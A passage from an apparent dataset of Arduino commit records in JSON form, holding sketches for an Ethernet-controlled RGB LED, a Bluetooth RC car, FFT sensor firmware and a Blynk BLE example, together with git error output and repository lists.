Ethernet.begin(mac, IPAddress(192, 168, 1, 177));\n\n pinMode(RED_PIN, OUTPUT);\n pinMode(GREEN_PIN, OUTPUT);\n pinMode(BLUE_PIN, OUTPUT);\n\n lcd->print(F(\"IP: \"));\n \n lcd->setCursor(0,1);\n lcd->print(F(\"Red :0\"));\n lcd->setCursor(0,2);\n lcd->print(F(\"Green:0\"));\n lcd->setCursor(0,3);\n lcd->print(F(\"Blue :0\"));\n}\n\nvoid loop() {\n webLoop();\n \n for (int index = 0; index < 3; index ++) {\n if (previousValues[index] != values[index]) {\n analogWrite(pins[index], values[index]);\n lcd->setCursor(6, index + 1);\n lcd->print(values[index]);\n lcd->print(F(\" \"));\n previousValues[index] = values[index];\n }\n }\n \n delay(20);\n}\n\nvoid webLoop() {\n EthernetClient client = server.available();\n String command = \"\";\n if (client) {\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n char c = NULL;\n if (client.available()) {\n c = client.read();\n command += c;\n if (c == '\\n' || c == '\\r') {\n char cmd[20] = {0};\n command.toCharArray(cmd, command.length());\n sscanf(cmd, \"%d;%d;%d\", &values[0], &values[1], &values[2]);\n break;\n }\n\/\/ command += c;\n }\n }\n delay(1);\n \/\/ close the connection:\n client.stop();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'b_rgb_led_2_ethernet\/b_rgb_led_2_ethernet.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"da738980ae32553aa4f998233bdcb83a047f79e9","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c54162932c1f904f130ff7d98a042836a9b8309f","subject":"just a test","message":"just a test\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ca5409c487e4319ba9706a75275d02347359fcb0","subject":"arduino source","message":"arduino source\n","repos":"WojciechKo\/RController","old_file":"arduino\/rcController\/rcController.ino","new_file":"arduino\/rcController\/rcController.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Servo.h>\n\n#define bluetoothTx 3\n#define bluetoothRx 2\n#define enginePin 5\n#define servoPin 6\n\nServo servo;\nSoftwareSerial bluetooth(bluetoothRx, bluetoothTx);\n\nint side = 1;\nconst int SIDE_RIGHT = 1;\nconst int SIDE_LEFT = 2;\n\nint angle = 0;\n\nint direction = 1;\nconst int DIRECTION_FORWARD = 1;\nconst int DIRECTION_BACKWARD = 2;\n\nint speed = 0;\n\nint enginePwm = 0;\nint servoPwm = 90;\n\n\/\/ cmd:\n\/\/ ^ [1|2] [0-100] | [1|2] [0-100] $\n\/\/ side angle direction speed\nchar START_CMD_CHAR = '^';\nchar END_CMD_CHAR = '$';\nchar SEP_CMD_CHAR = '|';\n\nvoid setup() {\n Serial.begin(9600);\n bluetooth.begin(9600);\n servo.attach(servoPin);\n}\n\nvoid loop() {\n Serial.flush();\n\n if (bluetooth.available() < 1) return;\n\n \/\/ Read cmd\n if (bluetooth.read() != START_CMD_CHAR) return;\n\n int newDirection = bluetooth.parseInt();\n int newSpeed = bluetooth.parseInt();\n\n if (bluetooth.read() != SEP_CMD_CHAR) return;\n\n int newSide = bluetooth.parseInt();\n int newAngle = bluetooth.parseInt();\n\n if (bluetooth.read() != END_CMD_CHAR) return;\n\n \/\/ Validation\n if (newSide != SIDE_LEFT && newSide != SIDE_RIGHT) return;\n if (newAngle < 0 || newAngle > 100) return;\n if (newDirection != DIRECTION_FORWARD && newDirection != DIRECTION_BACKWARD) return;\n if (newSpeed < 0 || newSpeed > 100) return;\n\n \/\/ Debug\n Serial.print(START_CMD_CHAR);\n Serial.print(newDirection);\n Serial.print(\" \");\n Serial.print(newSpeed);\n Serial.print(SEP_CMD_CHAR);\n Serial.print(newSide);\n Serial.print(\" \");\n Serial.print(newAngle);\n Serial.println(END_CMD_CHAR);\n\n \/\/ Handle servo data\n int newServoPwm = getServoPwm(newSide, newAngle);\n if (servoPwm != newServoPwm) {\n servoPwm = newServoPwm;\n servo.write(servoPwm);\n Serial.println(\"Servo moved\");\n }\n \n \/\/ Handle engine data\n if (direction != newDirection) {\n for (int i = speed ; i >= 0 ; i--) {\n delay(10);\n enginePwm = getEnginePwm(direction, i);\n analogWrite(enginePin, enginePwm);\n }\n\n for (int i = 0 ; i <= newSpeed ; i++) {\n delay(10);\n enginePwm = getEnginePwm(newDirection, i);\n analogWrite(enginePin, enginePwm);\n }\n\n direction = newDirection;\n speed = newSpeed;\n Serial.println(\"Direction changed\");\n }\n\n \/\/ Changed only speed\n if (speed != newSpeed) {\n speed = newSpeed;\n enginePwm = getEnginePwm(direction, speed);\n analogWrite(enginePin, enginePwm);\n Serial.println(\"Speed changed\");\n }\n}\n\nint getServoPwm(int side, int angle) {\n angle *= 0.9;\n if (side == SIDE_RIGHT) {\n return 90 - angle;\n } else { \/\/ SIDE_LEFT\n return 90 + angle;\n }\n}\n\nint getEnginePwm(int direction, int speed) {\n return speed * 2.55;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/rcController\/rcController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3855984c230d3def5c1dcb480a9b4d7c8e499717","subject":"3 Axis FFT","message":"3 Axis FFT\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Arduino\/_nano_firmware\/nanoFirmware4\/nanoFirmware4.ino","new_file":"Arduino\/_nano_firmware\/nanoFirmware4\/nanoFirmware4.ino","new_contents":"\n\/*\nCode developed by Sensorica\nModified from openmusiclabs.com 8.18.12 example sketch \n\n\nWe sample microphone and vibration sensor data and alternates between the two\nWe pass the data through an FFT\nWe searche for peaks in the FFT\nWe calculate the 3dB peak-power at the peaks\nWe output the data to the serial port\n*\/\n\n#include <SoftwareSerial.h>\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n\n\/\/ do #defines BEFORE #includes\n#define LOG_OUT 1 \/\/ use the log output function\n#define FFT_N 128 \/\/ set to 128 point fft --> TODO: If you remove peak_power[] you will have enough memory to use a 256 point\n#define WINDOW 1 \/\/ Enable windowing\n\n#include <FFT.h> \/\/ include the library\n\/\/#include <prescaler.h>\n\nint digitalSelectPin = 2;\nint digitalSleepPin = 3;\n\n\n\/\/ Define various ADC prescaler variables\nconst unsigned char PS_32_i = 0xe5; \/\/Chosen Prescaler -> 32\nconst unsigned char PS_32_c = 0xf5; \/\/ Chosen Prescaler -> 32\n\n\/\/peak finding variables\nconst int number_of_peaks = 5;\nint noise_floor = 100;\nint biggest_peaks[number_of_peaks];\nint peak_power[FFT_N\/2];\n\n\/\/State Data\nint mic_or_zxy_state = 0; \/\/There are 4 possible states from 0-3: Microphone = 0; Vibration X = 1; Vibration Y = 2; Vibration Z = 3;\nint down_sampling_counter = 0;\nint down_sampling_rate = 1;\n\n\/\/Print Variables\nString data_string = \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SETUP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n mySerial.begin(4800);\n data_string=\"\";\n pinMode(digitalSelectPin, OUTPUT);\n digitalWrite(digitalSelectPin, LOW); \/\/Set to HIGH for 6G sensitivity, OR LOW for 1.5G sensitivity\n digitalWrite(digitalSleepPin, HIGH);\n Serial.begin(9600); \/\/ use the serial port\n TIMSK0 = 0; \/\/Reduces jitter\n ADCSRA = PS_32_i; \/\/Set Prescaler Value\n ADMUX = 0x40; \/\/ use adc0\n DIDR0 = 0x01; \/\/ turn off the digital input for adc0\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/LOOP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid loop() {\n\n\/\/ TODO:\n\/\/ 2. Then run the mic and vibration again, store the data, and wait for the signal\n\/\/ 3. Refresh if I haven't seen anything in 10 second\n \n while(1) { \/\/ reduces jitter\n\n \/\/DEBUG\n\/\/ if(mic_or_zxy_state==0){\n\/\/\/\/ Serial.print(\"Microphone running\");\n\/\/ }else if(mic_or_zxy_state==1) {\n\/\/\/\/ Serial.print(\"VibrationX running\");\n\/\/ }else if(mic_or_zxy_state==2){\n\/\/\/\/ Serial.print(\"VibrationY running\");\n\/\/ }else{\n\/\/\/\/ Serial.print(\"VibrationZ running\");\n\/\/ }\n \n \n cli(); \/\/ UDRE interrupt slows this way down on arduino1.0\n\n \/\/Collect FFT_N samples\n for (int i = 0 ; i < 2 * FFT_N; i += 2) {\n while(!(ADCSRA & 0x10)); \/\/ wait for adc to be ready -> Checking bit 4\n \n ADCSRA = PS_32_c; \/\/ restart adc prescaler value\n \n byte m = ADCL; \/\/ fetch adc data\n byte j = ADCH;\n int k = (j << 8) | m; \/\/ form into an int\n k -= 0x0200; \/\/ form into a signed int\n k <<= 6; \/\/ form into a 16b signed int\n\n if(down_sampling_counter % down_sampling_rate == 0)\n {\n fft_input[i] = k; \/\/ put real data into even bins\n fft_input[i+1] = 0; \/\/ set odd bins to 0\n } else{\n i-=2;\n }\n down_sampling_counter++;\n }\n \n \/\/ window data, then reorder, then run, then take output\n fft_window(); \/\/ window the data for better frequency response\n fft_reorder(); \/\/ reorder the data before doing the fft\n fft_run(); \/\/ process the data in the fft\n fft_mag_log(); \/\/ take the output of the fft\n sei(); \/\/ turn interrupts back on\n \n find_peaks();\n \/\/print_fft(); \n \/\/print_peaks();\n \/\/print_max_peaks();\n soft_serial_max_peaks();\n\n \/\/ALTERNATE BETWEEN MICROPHONE AND VIBRATION SENSOR\n if (mic_or_zxy_state == 0){\n \/\/SWITCH BACK TO VIBRATION X SENSOR\n mic_or_zxy_state = 1; \/\/set to vibration mode\n down_sampling_rate =20;\/\/vibration mode uses downsampling factor 20\n ADMUX = 0x41; \/\/ change it to adc1\n noise_floor = 50;\n }else if (mic_or_zxy_state == 1){\n \/\/SWITCH BACK TO VIBRATION X SENSOR\n mic_or_zxy_state = 2; \/\/set to vibration mode\n down_sampling_rate =20;\/\/vibration mode uses downsampling factor 20\n ADMUX = 0x42; \/\/ change it to adc1\n noise_floor = 50;\n\n }else if (mic_or_zxy_state == 2){\n \/\/SWITCH BACK TO VIBRATION X SENSOR\n mic_or_zxy_state = 3; \/\/set to vibration mode\n down_sampling_rate =20;\/\/vibration mode uses downsampling factor 20\n ADMUX = 0x43; \/\/ change it to adc1\n noise_floor = 50;\n \n }else if (mic_or_zxy_state == 3){\n \/\/SWITCH BACK TO MICROPHONE\n mic_or_zxy_state = 0; \/\/set to microphone mode\n down_sampling_rate =0;\/\/ microphone mode \n ADMUX = 0x40; \/\/ use adc0\n noise_floor = 100;\n }\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/FUNCTIONS\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/void print_fft(){\n\/\/ Serial.println(\"Fourier Transform:\");\n\/\/ for(int i = 0 ; i < FFT_N\/2; i++){\n\/\/ Serial.print(fft_log_out[i]);\n\/\/ Serial.print(\",\");\n\/\/ }\n\/\/ Serial.println(\"\");\n\/\/}\n\/\/\n\/\/void print_peaks(){ \n\/\/ Serial.println(\"3dB Bandwidth:\");\n\/\/ for(int i = 0 ; i < FFT_N\/2; i++){\n\/\/ Serial.print(peak_power[i]);\n\/\/ Serial.print(\",\");\n\/\/ }\n\/\/ Serial.println(\"\");\n\/\/}\n\/\/\n\/\/void print_max_peaks(){\n\/\/ int scaling_factor = 1; \/\/pos * BW_per_pos\n\/\/ if(mic_or_zxy_state==0){\n\/\/ Serial.println(\"Microphone Peaks At:\");\n\/\/ scaling_factor = 133;\n\/\/ }else if(mic_or_zxy_state==1){\n\/\/ Serial.println(\"VibrationX Sensor Peaks At:\");\n\/\/ scaling_factor = 7;\n\/\/ }else if(mic_or_zxy_state==2){\n\/\/ Serial.println(\"VibrationY Sensor Peaks At:\");\n\/\/ scaling_factor = 7;\n\/\/ }else{\n\/\/ Serial.println(\"VibrationZ Sensor Peaks At:\");\n\/\/ scaling_factor = 7;\n\/\/ }\n\/\/ \n\/\/ for(int i = 0 ; i < number_of_peaks; i++){\n\/\/ if(biggest_peaks[i]!=0){\n\/\/ Serial.print((biggest_peaks[i]+1)*scaling_factor); \/\/Print out the frequency\n\/\/ }else{\n\/\/ Serial.print(0);\n\/\/ }\n\/\/ Serial.print(\",\");\n\/\/ Serial.print(peak_power[biggest_peaks[i]]); \/\/Print out the power at that peak\n\/\/ Serial.print(\",\");\n\/\/ }\n\/\/ Serial.println(\"\");\n\/\/}\n\nvoid find_peaks(){\n \/\/Initialize peak arrays\n for (int i = 0; i<FFT_N\/2;i++){\n peak_power[i] = 0;\n }\n \n for (int i = 1; i < FFT_N\/2-1; i++){\n \/\/Check that it's above the noise floor\n \/\/Check if it's a peak\n if (fft_log_out[i] > noise_floor &&\n fft_log_out[i] >= fft_log_out[i-1] &&\n fft_log_out[i] >= fft_log_out[i+1]){\n int j=i;\n\n \/\/Determine the BW of the peak\n while(fft_log_out[j] > fft_log_out[i]\/2){\n if(j>=FFT_N\/2-1){\n break;\n }\n j++;\n }\n\n\/\/ dB3[i] = 2*(j-i-1)+1; \/\/Algorithm to find the right hand 3dB point\n peak_power[i] = fft_log_out[i]*(2*(j-i-1)+1); \/\/Calculate the power of this peak\n }\n }\n \n\/\/initialize biggest peaks\nfor (int j = 0; j<number_of_peaks;j++){\n biggest_peaks[j] = 0;\n }\n \n \/\/extract the biggest peaks\n int smallest_max_peak = 0;\n for (int i = 0; i<FFT_N\/2;i++){\n if (peak_power[i] > smallest_max_peak){ \n\n \/\/Determine the index of the current smallest peak\n int smallest_peak_index=0;\n int smallest_peak=20000;\n for (int j = 0; j<number_of_peaks;j++){\n if(peak_power[biggest_peaks[j]]<smallest_peak){\n smallest_peak = peak_power[biggest_peaks[j]];\n smallest_peak_index = j;\n }\n }\n \n \/\/Replace it with the newest peak index\n biggest_peaks[smallest_peak_index] = i;\n\n \/\/Determine what is the newest smallest peak and update the smallest_max_peak variable\n smallest_peak=20000;\n smallest_peak_index=0;\n for (int j = 0; j<number_of_peaks;j++){\n if(peak_power[biggest_peaks[j]]<smallest_peak){\n smallest_peak = peak_power[biggest_peaks[j]];\n smallest_peak_index = j;\n }\n }\n smallest_max_peak = peak_power[biggest_peaks[smallest_peak_index]]; \n }\n }\n}\n\n\nvoid soft_serial_max_peaks(){\n \/\/Set the scaling factor based on the state\n int scaling_factor = 1; \/\/pos * BW_per_pos\n if(mic_or_zxy_state==0){\n\/\/ Serial.println(\" Microphone Software Serial Test:\");\n scaling_factor = 133;\n }else if (mic_or_zxy_state==1){\n\/\/ Serial.println(\" Vibration SoftwareX Serial Test:\");\n scaling_factor = 7;\n }else if(mic_or_zxy_state==2){\n\/\/ Serial.println(\" Vibration SoftwareY Serial Test:\");\n scaling_factor = 7;\n }else{\n\/\/ Serial.println(\" Vibration SoftwareZ Serial Test:\");\n scaling_factor = 7;\n }\n\n \/\/Build the printout string\n for(int i = 0; i < number_of_peaks; i++){\n\n \/\/What we want:\n \/\/ 1. Print out the peaks,\n \/\/ 2. Print out the power levels\n \n \/\/Print out the frequency\n if(biggest_peaks[i]!=0){ \/\/In the case of zero don't print the scaling factor\n data_string += \",\"; \n data_string += ((biggest_peaks[i]+1)*scaling_factor);\n }else{ \n \/\/In the case of zero don't print the scaling factor\n data_string += \",\";\n data_string += \"0\";\n }\n \n \/\/Print the power at that peak \n data_string += \",\";\n data_string += (peak_power[biggest_peaks[i]]);\n }\n\n\/\/ Serial.println(data_string);\n\n \/\/Print out to the node after the fourth iteration\n if(mic_or_zxy_state==3){\n \n \/\/Here we have our data ready... wait for the signal to send it\n while(!mySerial.available()){\n }\n \n \/\/Print out the ! to confirm that we received it\n while(mySerial.available()){\n Serial.write(mySerial.read());\n }\n \n \/\/ mySerial.print(data_string);\n delay(100);\n Serial.println (data_string); \/\/If this doesn't print, then you may be having memory issues\n Serial.println (\"Data was sent!\");\n delay(100); \/\/Give it some clearance to make sure everything printed (not sure if this is needed)\n data_string = \"\"; \/\/clear the data string once we've printed it\n \n }else{\n\/\/ Serial.println(\"Need to run another time\");\n }\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/_nano_firmware\/nanoFirmware4\/nanoFirmware4.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"9b978346ca802b71ea48bf4a1499b7fc119f058e","subject":"Change pin numbers in Stepper example","message":"Change pin numbers in Stepper example\n","repos":"prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI","old_file":"arduino-makefile\/examples\/Stepper\/Stepper.ino","new_file":"arduino-makefile\/examples\/Stepper\/Stepper.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prpplague\/Userspace-Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"df4b9d7abbd5f2b5dd8d4f8ee7c25ba3adb357a7","subject":"ok, for the next improvement we need a look ahead \u2026","message":"ok, for the next improvement we need a look ahead \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f44574108258d381336d02a6c52fd8bd3a7d3366","subject":"Add Simblee BLE example [ci skip]","message":"Add Simblee BLE example\n[ci skip]\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_BLE\/Simblee_BLE\/Simblee_BLE.ino","new_file":"examples\/Boards_BLE\/Simblee_BLE\/Simblee_BLE.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use Simblee BLE\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n\n\/\/#define BLYNK_USE_DIRECT_CONNECT\n\n#include <BlynkSimpleSimbleeBLE.h>\n#include <SimbleeBLE.h>\n\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n\n SimbleeBLE.deviceName = \"Simblee\";\n SimbleeBLE.advertisementInterval = MILLISECONDS(300);\n SimbleeBLE.txPowerLevel = -20; \/\/ (-20dbM to +4 dBm)\n\n \/\/ start the BLE stack\n SimbleeBLE.begin();\n\n Blynk.begin(auth);\n\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_BLE\/Simblee_BLE\/Simblee_BLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fafbca491bffbfef255a12826b80e507b0812b5d","subject":"fixed but broekn","message":"fixed but broekn\n\nTo Do:\n-make every LED start at beginning after selecting\n-fix phantom LEDs\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c8eabc1cf93e645980eb957732fd2b6ed534c3c7","subject":"Restored and updated SoftwareSerialExample -- really this time!","message":"Restored and updated SoftwareSerialExample -- really this time!\n","repos":"Protoneer\/Arduino,gestrem\/Arduino,ogahara\/Arduino,Ramoonus\/Arduino,rodibot\/Arduino,eddyst\/Arduino-SourceCode,diydrones\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,EmuxEvans\/Arduino,mboufos\/esp8266-Arduino,stevemayhew\/Arduino,tomkrus007\/Arduino,ektor5\/Arduino,majenkotech\/Arduino,jaej-dev\/Arduino,andyvand\/Arduino-1,byran\/Arduino,probonopd\/Arduino,rodibot\/Arduino,nandojve\/Arduino,dvdvideo1234\/Energia,vigneshmanix\/Energia,linino\/Arduino,tskurauskas\/Arduino,PaoloP74\/Arduino,shannonshsu\/Arduino,ari-analytics\/Arduino,adamkh\/Arduino,myrtleTree33\/Arduino,shiitakeo\/Arduino,cevatbostancioglu\/Energia,Gourav2906\/Arduino,gurbrinder\/Arduino,zacinaction\/Energia,NeuralSpaz\/Arduino,jomolinare\/Arduino,mattvenn\/Arduino,dvdvideo1234\/Energia,bigjosh\/Arduino,tomkrus007\/Arduino,tbowmo\/Arduino,ari-analytics\/Arduino,weera00\/Arduino,acosinwork\/Arduino,jmgonzalez00449\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,zacinaction\/Energia,probonopd\/Arduino,tommyli2014\/Arduino,toddtreece\/esp8266-Arduino,dvdvideo1234\/Energia,stevemayhew\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,Gourav2906\/Arduino,Protoneer\/Arduino,majenkotech\/Arduino,smily77\/Arduino,martianmartin\/Energia,andyvand\/Arduino-1,odbol\/Arduino,eduardocasarin\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wayoda\/Arduino,me-no-dev\/Arduino-1,Chris--A\/Arduino,koltegirish\/Arduino,sanyaade-iot\/Energia,paulo-raca\/ESP8266-Arduino,pasky\/Energia,majenkotech\/Arduino,tskurauskas\/Arduino,tommyli2014\/Arduino,steamboating\/Arduino,championswimmer\/Arduino,zederson\/Arduino,koltegirish\/Arduino,SmartArduino\/Arduino-1,paulmand3l\/Arduino,vbextreme\/Arduino,pdNor\/Arduino,vbextreme\/Arduino,NaSymbol\/Arduino,eduardocasarin\/Arduino,i--storm\/Energia,gberl001\/Arduino,koltegirish\/Arduino,onovy\/Arduino,odbol\/Arduino,OpenDevice\/Arduino,acosinwork\/Arduino,SmartArduino\/Arduino-1,381426068\/Arduino,mateuszdw\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,PaoloP74\/Arduino,jadonk\/Energia,gestrem\/Arduino,UDOOboard\/Arduino,henningpohl\/Arduino,eggfly\/arduino,gurbrinder\/Arduino,bobintornado\/Energia,byran\/Arduino,croberts15\/Energia,NoPinky\/Energia,DavidUser\/Energia,tommyli2014\/Arduino,myrtleTree33\/Arduino,xxxajk\/Arduino-1,spapadim\/Arduino,paulo-raca\/ESP8266-Arduino,steamboating\/Arduino,nkolban\/Arduino,snargledorf\/Arduino,SmartArduino\/Arduino-1,zaiexx\/Arduino,PaintYourDragon\/Arduino,KlaasDeNys\/Arduino,cscenter\/Arduino,tskurauskas\/Arduino,ntruchsess\/Arduino-1,jamesrob4\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eggfly\/arduino,garci66\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,plinioseniore\/Arduino,mc-hamster\/esp8266-Arduino,vbextreme\/Arduino,Orthogonal-Systems\/arduino-libs,karlitxo\/Arduino,superboonie\/Arduino,ccoenen\/Arduino,Cloudino\/Arduino,radut\/Arduino,arduino-org\/Arduino,zenmanenergy\/Arduino,ccoenen\/Arduino,Alfredynho\/AgroSis,shannonshsu\/Arduino,PeterVH\/Arduino,vbextreme\/Arduino,DavidUser\/Energia,NeuralSpaz\/Arduino,qtonthat\/Energia,leftbrainstrain\/Arduino-ESP8266,Chris--A\/Arduino,jomolinare\/Arduino,ricklon\/Arduino,linino\/Arduino,bsmr-arduino\/Arduino,croberts15\/Energia,ikbelkirasan\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,acosinwork\/Arduino,mateuszdw\/Arduino,koltegirish\/Arduino,lukeWal\/Arduino,381426068\/Arduino,01org\/Arduino,tannewt\/Arduino,cevatbostancioglu\/Energia,eggfly\/arduino,rcook\/DesignLab,nkolban\/Arduino,championswimmer\/Arduino,mateuszdw\/Arduino,steamboating\/Arduino,smily77\/Arduino,gestrem\/Arduino,koltegirish\/Arduino,majenkotech\/Arduino,stevemayhew\/Arduino,odbol\/Arduino,brianonn\/Energia,eggfly\/arduino,bugobliterator\/BUAGI,gonium\/Arduino,byran\/Arduino,plaintea\/esp8266-Arduino,lulufei\/Arduino,arduino-org\/Arduino,karlitxo\/Arduino,benwolfe\/esp8266-Arduino,EmuxEvans\/Arduino,mattvenn\/Arduino,Gourav2906\/Arduino,damellis\/Arduino,381426068\/Arduino,meanbot\/Energia,jaehong\/Xmegaduino,danielohh\/Energia,NoPinky\/Energia,DavidUser\/Energia,linino\/Arduino,diydrones\/Arduino,plinioseniore\/Arduino,talhaburak\/Arduino,PeterVH\/Arduino,NicoHood\/Arduino,ari-analytics\/Arduino,tommyli2014\/Arduino,adafruit\/ESP8266-Arduino,snargledorf\/Arduino,zaiexx\/Arduino,vbextreme\/Arduino,xxxajk\/Arduino-1,ogahara\/Arduino,ssvs111\/Arduino,ssvs111\/Arduino,rcook\/DesignLab,zederson\/Arduino,mangelajo\/Arduino,raimohanska\/Arduino,byran\/Arduino,nandojve\/Arduino,koltegirish\/Arduino,HCastano\/Arduino,weera00\/Arduino,majenkotech\/Arduino,Protoneer\/Arduino,lukeWal\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,eddyst\/Arduino-SourceCode,ashwin713\/Arduino,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,qtonthat\/Energia,vigneshmanix\/Energia,jadonk\/Energia,henningpohl\/Arduino,arduino-org\/Arduino,brianonn\/Energia,wayoda\/Arduino,mangelajo\/Arduino,andrealmeidadomingues\/Arduino,laylthe\/Arduino,PaoloP74\/Arduino,mangelajo\/Arduino,Alfredynho\/AgroSis,linino\/Arduino,scdls\/Arduino,onovy\/Arduino,jaimemaretoli\/Arduino,croberts15\/Energia,martianmartin\/Energia,snargledorf\/Arduino,bugobliterator\/BUAGI,lukeWal\/Arduino,arduino-org\/Arduino,damellis\/Arduino,ntruchsess\/Arduino-1,danielchalef\/Arduino,kidswong999\/Arduino,rcook\/DesignLab,stevemarple\/Arduino-org,tbowmo\/Arduino,scdls\/Arduino,pdNor\/Arduino,scdls\/Arduino,mboufos\/esp8266-Arduino,martianmartin